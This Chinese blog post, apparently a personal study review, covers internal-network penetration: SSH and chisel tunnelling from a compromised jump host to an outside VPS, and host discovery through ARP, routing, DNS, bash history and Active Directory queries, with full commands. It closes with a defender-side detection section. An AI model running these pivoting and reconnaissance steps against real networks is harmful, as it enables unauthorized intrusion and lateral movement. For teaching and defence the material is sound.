内网渗透(1):通道构建与主机发现
最近忙完了学校里的一些作业和任务,也结束了实习面试,发现自己对内网的一些知识之前学的比较零散,开个专题给自己复盘一下。
通常,在通过打点拿到Webshell以后,需要解决两个问题:
- 外部测试机如何访问内网
- 内网里有哪些主机和网段
如果没有稳定的访问通道,后续的端口探测、漏洞验证、横向移动都无法展开。如果不知道内网资产分布,也很容易陷入盲目扫描,造成大量噪声。
0. 明确几类机器
为了避免命令位置混乱,先定义几个角色。
| 角色 | 说明 | 常见位置 |
|---|---|---|
| 测试机 | 安全人员自己的机器,用来发起连接、配置代理、运行扫描工具 | 本地电脑 / Kali / VPS |
| 公网 VPS | 有公网 IP 的中转服务器,用来接收反向连接或做流量转发 | 云服务器 |
| 内网跳板机 | 已经获得授权访问权限的一台内网主机 | Web 服务器 / 办公终端 / 运维机 |
| 内网目标主机 | 需要进一步识别和测试的内网资产 | 数据库 / 域控 / OA / 文件服务器 |
1. 通道构建
1.1 跳板机网络信息收集
一般在跳板机上需要先判断其网络情况,比如:
- 这台机器有哪些网卡
- 属于哪些网段
- 默认网关是多少
- DNS 指向哪里
- 能不能访问公网
- 能不能访问其他内网网段
这些信息决定后续选择正向代理、反向代理,还是只做单端口转发。
1.1.1 Windows跳板机
对于Windows机器,查看本机 IP、网关、DNS、网卡信息
1 | ipconfig /all |
重点看这些字段:
1 | IPv4 Address |
例如看到:
1 | IPv4 Address . . . . . . . . . . : 10.10.5.23 |
可以初步判断:
1 | 当前主机在 10.10.5.0/24 网段 |
继续查看路由表,通过命令:
1 | route print |
如果路由表里出现多个内网网段,说明这台机器可能能访问多个内网区域,适合作为后续探测入口。例如:
1 | 10.10.5.0/24 |
1.1.2 Linux跳板机
对于Linux机器,查看信息命令:
1 | ip addr |
查看路由:
1 | ip route |
查看DNS:
1 | cat /etc/resolv.conf |
查看当前连接:
1 | ss -tunap |
这些命令都是为了测试这台机器到底能访问哪些网络。如果一台机器只有单网卡、单网段,且只能访问较少的主机,那么他的通道价值有限。如果这台机器能链接办公网、服务器网和运维网,拿他的价值就高很多。
1.1.3 判断跳板机能否出网
Windows:
1 | Test-NetConnection <公网VPS_IP> -Port 443 |
Linux:
1 | nc -vz <公网VPS_IP> 443 |
如果连接成功,说明该内网跳板机可以主动访问公网。且在能够出网的情况下,下一步可以考虑通过反向代理、反向端口转发、反向Socks隧道等方式连接。
如果连接失败,那就继续测试常见出网端口
Windows:
1 | Test-NetConnection <公网VPS_IP> -Port 80 |
Linux:
1 | for p in 80 443 8080 8443; do nc -vz <公网VPS_IP> $p; done |
这样是为了判断出口策略。如果只有 80/443 能出网,后续通道就尽量走 HTTP/HTTPS 端口,避免一开始就选择高危端口。
1.2 通道构建方式一:SSH动态Socks代理
这种方式需要建立在可以直接通过SSH连接到内网跳板机的情况,比如前期直接通过SSH密钥泄露或者弱口令登录了。
1.2.1 在测试机上开启Socks代理
在测试机上:
1 | ssh -N -D 127.0.0.1:1080 [email protected] |
也就是在自己的机器上开启1080端口,所有发往这个socks代理的流量都会通过10.10.5.23这台跳板机进入内网
目的: 把跳板机变成一个代理网关,让本地的渗透工具(浏览器、nmap、sqlmap 等)能透过它访问内网,而不需要把工具搬到跳板机上运行。
为啥用SSH -D呢,因为这个命令简单、稳定、痕迹少,其不需要在内网机器上额外部署代理程序,只要有SSH登录权限即可。但其实限制也比较明显:
- 必须要能SSH登录跳板机(需要高权限)
- 只适合TCP流量 (因此后续使用一些工具时需要注意,例如nmap,需要注意参数选择)
- 部分扫描方式不能直接走Socks
- 不适合高并发大流量的扫描
1.2.2 测试Socks代理是否可用
当内网的机器有web服务时,在测试机上执行类似:
1 | curl --socks5 127.0.0.1:1080 http://10.10.5.1 |
如果能够访问到内网的页面,说明代理可用。也可以通过以下测试某个内网端口:
1 | proxychains4 nc -vz 10.10.5.10 80 |
1.3 通道构建方式二:SSH本地端口转发
在只需要访问内网的某一服务时,不一定开完整的Socks代理,可以用本地端口转发
例如只想访问内网一台机器的 RDP,信息如下:
1 | 目标服务:10.10.5.100:3389 |
1.3.1 转发单个RDP服务
在测试机上:
1 | ssh -N -L 127.0.0.1:13389:10.10.5.100:3389 [email protected] |
然后在测试机上连接:
1 | xfreerdp /v:127.0.0.1:13389 /u:testuser |
或者 Windows 上用远程桌面连接:
1 | 127.0.0.1:13389 |
1.3.2 转发Web服务
在测试机上:
1 | ssh -N -L 127.0.0.1:18080:10.10.5.100:80 [email protected] |
然后在本机上直接通过浏览器访问 http://127.0.0.1:18080,这种方式is hi和做单点验证,比如想要访问内网OA、后台管理系统、数据库的Web管理页面等
1.3.3 本地端口转发适用的场景
- 已经知道目标 IP 和端口
- 只需要访问一个服务
- 不需要大范围扫描
- 希望减少代理链复杂度
1.4 通道构建方式三:反向端口转发
反向端口转发适合外部测试机不能直接访问内网跳板机,但是内网跳板机可以主动访问公网的VPS的情况。很多企业网络都是这种情况。外部不能直接连进内网,但内网机器可以访问公网 80/443。
1.4.1 单端口反向转发(反向代理)
比如一个场景:
1 | 公网 VPS:203.0.113.10 |
在内网跳板机上执行
1 | ssh -N -R 127.0.0.1:18080:10.10.5.100:80 [email protected] |
然后就可以在VPS上测试:curl http://127.0.0.1:18080,如果成功连接代表反向转发成功
注意命令里 VPS 端绑定的是
127.0.0.1而不是0.0.0.0,这样转发端口只有 VPS 本机能访问。如果图省事绑成
0.0.0.0,这个端口就直接挂在公网上了,Shodan、Censys 这类扫描器很快就会收录,蓝队在排查异常回连流量时反查到 VPS IP,一眼就能看出转发的是什么内网服务,可能会造成整条隧道链路直接暴露。同时公网上暴露的转发端口也会被其他攻击者扫到并蹭用,这种情况下他们打内网留下的源 IP 是你的 VPS,溯源风险只得自己承担。
1.4.2 为什么要用反向转发(反向代理)
为啥要用反向代理呢,就是这一节开头说的测试机不能直接访问内网跳板机,但是内网跳板机可以主动访问公网的VPS的情况。
在正常正向连接的情况下,测试机直接访问内网跳板机通常会被防火墙拦住。但是反向代理变成了内网跳板机主动访问公网VPS,这种情况更符合很多企业网络的默认策略,很多内网机器不能被外部访问,但可以访问公网,且通常能够绕过一些防火墙的配置。
1.5 通道构建方式四:反向Socks隧道
在需要访问多个内网目标的情况下,不想为每个服务单独做端口转发,可以使用反向Socks隧道。这种方式常用与内网跳板机能访问公网VPS的情况下,可以通过VPS代理访问多个内网地址
这里以 chisel 这类隧道工具举例
1.5.1 在公网VPS上启动服务端
在VPS上通过chisel执行:
1 | ./chisel server -p 8443 -- |
1.5.2 在内网跳板机上连接 VPS
上传了chisel的情况下,在跳板机上执行:
linux:
1 | ./chisel client <公网VPS_IP>:8443 R:127.0.0.1:1080:socks |
windows:
1 | chisel.exe client <公网VPS_IP>:8443 R:127.0.0.1:1080:socks |
这个命令执行后表示,内网跳板机主动连接VPS的8443端口,并在VPS本地127.0.0.1:1080开一个socks代理,并通过该socks代理访问内网。
执行后,在VPS上测试:
1 | curl --socks5 127.0.0.1:1080 http://10.10.5.1 |
如果能访问内网地址,说明反向socks生效。
1.5.3 为啥反向Socks常用和缺点
单端口转发适合访问一个服务,Socks 代理适合访问多个服务。比如当后续想访问多个内网服务,使用socks代理就比较方便。但其实也有一些缺点:
- 首先就是需要上传额外的工具(例如此处需要上传chisel)
- 容易被EDR关注
- 长链接比较明显
- 如果大量扫描的话容易产生明显流量
2. 主机发现
一般在通道建立后,需要
- 先看本机网络信息
- 再看 ARP、路由、DNS、历史连接
- 再做同网段存活探测
- 最后再对关键网段做低速端口探测
这样相比直接批量的不做计划的测试来说,产生的噪声更少,且更容易发现真是业务路径。
2.1 被动主机发现
被动发现就是:不主动对大量目标发包,而是从当前主机已有信息中推断内网资产。
2.1.1 查看ARP缓存
ARP 缓存里通常能看到当前主机近期通信过的同网段主机,通常在内网机器上执行
windows:
1 | arp -a |
linux:
1 | ip neigh |
这样扫出来的地址通常比盲扫的效率更高,且更有价值,因为他们和当前主机存在过实际的通信关系
2.1.2 查看路由表
这块前面在跳板机网络信息收集部分有提到了,但为了完整性还是列一遍
Windows:
1 | route print |
Linux:
1 | ip route |
在结果中,重点看是否存在非当前网段的路由,例如结果里:
1 | 10.10.8.0/24 via 10.10.5.1 |
说明当前主机可能可以访问其他内网网段,后续的步骤中就不应只扫描本主机的网段,还要验证这些路由网段是否可达
2.1.3 查看DNS配置
Windows:
1 | ipconfig /all |
Linux:
1 | cat /etc/resolv.conf |
DNS服务器很重要,在很多企业里DNS服务器可能同时也是域控,或者至少能反映内网核心基础设施
2.1.4 查看hosts文件
Windows:
1 | type C:\Windows\System32\drivers\etc\hosts |
linux:
1 | cat /etc/hosts |
hosts文件里通常会出现内部系统映射,例如:
1 | 10.10.5.20 oa.internal.local |
可能直接展示了一些内网核心后台
2.1.5 查看当前网络连接
Windows:
1 | netstat -ano |
Linux:
1 | ss -tunap |
重点关注当前主机正在连接哪些内网地址,通常可以帮助我们判断
- DNS 在哪
- 数据库在哪
- 当前业务依赖哪些服务
- 是否存在跨网段访问
如果当前主机是 Web 服务器,netstat 或 ss 看到的数据库连接、Redis 连接、内部 API 连接,往往就是后续测试的重要方向。
2.2 主动主机发现
被动发现之后,再做主动探测。主动探测要控制范围和速率,尤其是在生产环境中。
2.2.1 ICMP存活探测
最常用与互通测试的ping命令即是通过ICMP协议来的,也可以通过用nmap等工具做ping扫描
如果测试机已经配置好Socks,但ICMP不能通过 Socks,一般可以通过上传工具在内网跳板机上执行:
1 | nmap -sn 10.10.5.0/24 |
通常在内网跳板机上执行,结果更准确,因为它直接和目标主机在同一网络环境中
也可以通过Windows Powershell来做简单探测:
1 | 1..254 | ForEach-Object { |
这段命令会依次 ping 10.10.5.1 到 10.10.5.254,能 ping 通的就输出
2.2.2 ARP同网段探测
如果当前主机和目标在同一个二层网段,ARP探测通常比较有效,在跳板机上执行:
1 | sudo arp-scan -l |
ARP探测适合用于探测同网段,且不依赖于策略是否允许ICMP协议,对于一些办公终端比较有效。
但是限制也比较明显,也就是只能探测同二层网段下的机器,需要权限支持,还需要上传工具。
2.2.3 TCP存活探测
很多服务器会禁 ICMP,但开放业务端口,这时可以用 TCP 端口判断主机是否存活
比如通常可以在跳板机上通过nmap等工具通过TCP来探活:
1 | nmap -Pn -n -p 22,80,135,139,445,3389,3306,6379,8080 --open 10.10.5.0/24 |
如果扫描是在测试机上执行,并且流量需要经过 Socks 代理,需要注意 nmap 参数。Socks 代理不适合 SYN 扫描,所以要使用 TCP connect 扫描,在测试机上:
1 | proxychains4 nmap -sT -Pn -n -p 80,445,3389 --open 10.10.5.0/24 |
通常还是尽量不要通过代理直接跑大范围全端口扫描。速度慢、结果不稳定,也容易制造大量异常连接
2.3 Windows环境下的主机发现
Windows 内网大多数情况下是 AD 域环境,信息收集的核心思路跟 Linux 不一样,Linux 看路由表猜网段,Windows 直接问域控要资产清单。
2.3.1 判断是否在域环境
最快的方式就是在跳板机上执行 whoami,输出格式直接说明身份:
输出DESKTOP-ABC\user,则工作组机器或本地账户登录,不在域里(或当前进程没用域身份启动)
输出CORP\user,则域账户身份在域里
但 whoami 只反映当前进程身份。如果是直接拿下了本地管理员账户,即使机器加了域,也会显示本地账户,因此需要交叉验证:
1 | systeminfo | findstr /B /C:"Domain" |
这条直接看机器本身的域归属,跟当前用户身份无关。输出 Domain: corp.local 说明机器在域里,输出 Domain: WORKGROUP 说明是独立机器。
知道在域里之后,下一步就是问域控要资产清单
2.3.2 查看域控信息
域控是后续所有 LDAP 查询的目标。通过命令:
1 | nltest /dsgetdc:corp.local |
输出里 DC: 那行就是域控的 FQDN,Address: 那行是 IP
如果当前进程没有域身份(比如本地管理员 shell),则命令nltest会失败。这时可以走 DNS SRV 记录:
1 | nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local |
DNS 不需要任何域凭据,任何能解析内网 DNS 的机器都能查到域控
2.3.3 列内网资产
这一步是 Windows 内网很重要的操作,**用一条 LDAP 查询拿到全域主机清单,不发任何探测包到目标:
1 | net group "Domain Computers" /domain |
输出就是域里所有计算机账户名,配合 DNS 解析就能拿到 IP:
1 | for /f %i in ('net group "Domain Computers" /domain ^| findstr /v "^$ The command"') do @nslookup %i 2>nul | findstr "Address" |
还可以查询:
1 | net group "Domain Controllers" /domain # 所有域控 |
2.3.4 关于 net view
在之前,老是能看到通过net view列网上邻居什么的,但是Win10 / Server 2016+ 默认禁用了Computer Browser服务,因此直接执行会返回错误:
1 | System error 6118 has occurred. |
因此在查询时尽量还是优先考虑走AD拿信息
2.4 Linux环境下的主机发现
Linux下没有像Windows里的AD这样比较现成的资产清单,因此一般是通过翻这台机器自己留下的一些连接痕迹,或者直接扫描来做主机发现。例如查找系统记录了哪些连接、解析过哪些主机、用户敲过什么命令等。
2.4.1 查看主机名和系统信息
1 | hostname # 看机器名,通过这样的信息看主机的角色 |
2.4.2 查看当前主机访问过哪些内网地址
当前连接和监听接口:
1 | ss -tunap |
输出里 ESTAB 状态的远端地址就是这台机器正在和谁通信,往往是数据库、缓存、内部 API、监控上报地址
查看ARP表:
1 | ip neigh |
查看历史命令中出现过的内网地址:
1 | grep -E "10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\." ~/.bash_history 2>/dev/null |
如果是有比较高的权限,还可读本机上其他用户的:
1 | cat /home/*/.bash_history 2>/dev/null |
或者一些其他也可以尝试的:
1 | cat ~/.ssh/known_hosts # 这台机器SSH连过哪些主机(默认是哈希过的,但有时配置关了哈希) |
3. 防守侧可以重点关注的点
把前面攻击者的动作反过来看,防守侧不一定要等到横向移动已经完成才开始告警。通道建立、主机探测、域信息查询这些阶段都会留下痕迹,只是这些痕迹分散在网络、进程和主机文件里,需要结合起来看。
3.1 通道层面
反向通道有一个共同特征:内网机器会主动连接外部地址。
所以排查时可以优先关注几类连接:
- 内网主机到陌生公网 IP 的长连接
- 连接目标不是公司已有业务地址
- 目的端口不是常见业务端口,例如 8443、9000、随机高位端口
- 单个连接流量不大,但持续时间很长
- 同一个进程长期连接固定公网 IP
- 连接进程位于用户目录、临时目录或业务无关路径
SSH 反向隧道、chisel、nps 这类工具,在很多情况下会表现为低流量、长存活、固定目标的连接特征。这类连接不一定就是恶意,但如果出现在 Web 服务器、数据库服务器、办公终端这类不应该随意主动出连的主机上,就需要继续往下查进程、命令行、文件路径和父进程。
防守方通常无法直接检查攻击者的公网 VPS,因此检测重点应该放在企业侧可观测的位置,比如出口防火墙、流量探针、EDR 网络连接日志、代理网关日志和 DNS 日志。只要反向通道建立成功,内网主机就一定会产生对外连接,这就是防守侧比较稳定的观察点。
3.2 主机层面
攻击者在内网落点机上做信息收集时,通常会翻一些本地痕迹,例如:
1 | arp -a |
这些位置攻击者会看,防守方在应急排查时也应该看。需要注意的是,这些文件被读取本身不一定都有日志,除非主机上部署了 EDR、auditd 或文件审计能力,所以它们更适合作为事后排查和主机取证的重点位置。
比如一台 Web 服务器的 .bash_history 里出现大量内网 IP、ssh、nmap、proxychains、chisel 等痕迹,就要高度怀疑这台机器已经不只是业务服务器,而是被当成了内网跳板。当然,最终还需要结合执行用户、时间、业务背景和是否存在授权测试来判断。
Windows 环境下,命令行审计也很重要。像下面这些命令,在普通业务用户或普通办公终端上并不常见:
1 | net group "Domain Admins" /domain |
这些命令本身不代表攻击成功,但通常说明有人在枚举域环境、查找域控、收集 SPN 信息或寻找高权限用户。配合 Sysmon Event ID 1 或 Windows 4688 进程创建日志,可以把执行用户、父进程、命令行和执行时间串起来看。
这里真正要注意的是父进程和执行身份,如果这些命令是从管理员常用运维终端上执行的,可能只是正常排查。如果是从 Web 进程、脚本解释器、Office 进程、未知 EXE 拉起来的,风险就要明显提高。
3.3 网络层面
主机发现和横向移动阶段,网络侧通常会更明显。
常见信号包括:
- 短时间内大量 ARP 请求
- 单台主机访问大量内网 IP
- 对 445、3389、22、80、8080 等端口批量连接
- 连接失败率突然升高
- 非扫描器资产出现扫描器行为
- 普通办公终端访问服务器网段、数据库网段或域控相关端口
- DNS 服务器收到异常的 SRV 查询或大量内部域名枚举请求
这里不能只看有没有连接,而要看连接关系是否符合业务逻辑。比如运维扫描器访问大量主机是正常的,堡垒机访问服务器也可能是正常的。但一台 Web 服务器突然开始扫整个 C 段的 445,或者一个普通办公终端短时间内连接几十台服务器的 3389,就不太符合正常业务行为。
生产环境里更实用的判断方式是做角色画像:这台机器平时访问哪些 IP、哪些端口、哪些域名。如果某一天它突然访问大量从未通信过的内网地址,或者访问关系和主机角色明显不匹配,就应该进入告警或人工复核。
3.4 重点放在两个环节
内网攻击链里,比较难发现的是本地信息收集。攻击者查看 ARP 表、翻历史命令、读取配置文件、查询域信息,这些动作很多时候都是合法系统行为,不一定会产生明显的网络流量。
但只要攻击者继续往下走,就一定会产生更明显的动作:
1 | 建通道 |
所以防守侧不一定能拦住所有信息收集动作,但应该尽量在两个位置重点观察:
- 通道建立阶段
重点看内网主机异常外连、长连接、代理工具、端口转发、SSH 隧道。 - 横向移动阶段
重点看单源多目标连接、异常登录、远程执行、服务创建、文件复制和管理员账号异常使用。
内网检测不应该只盯某一个命令或某一个工具名,而是要看一组行为是否连成链路。如果同一台主机先出现异常外连,随后开始访问大量内网 IP,再出现域信息查询和远程登录行为,那它就已经不再是孤立告警,而是一条比较完整的内网入侵链路。
后续的内容,我准备再整理一下端口识别、权限提升、凭证访问、权限维持、横向移动等内网常见的方面。
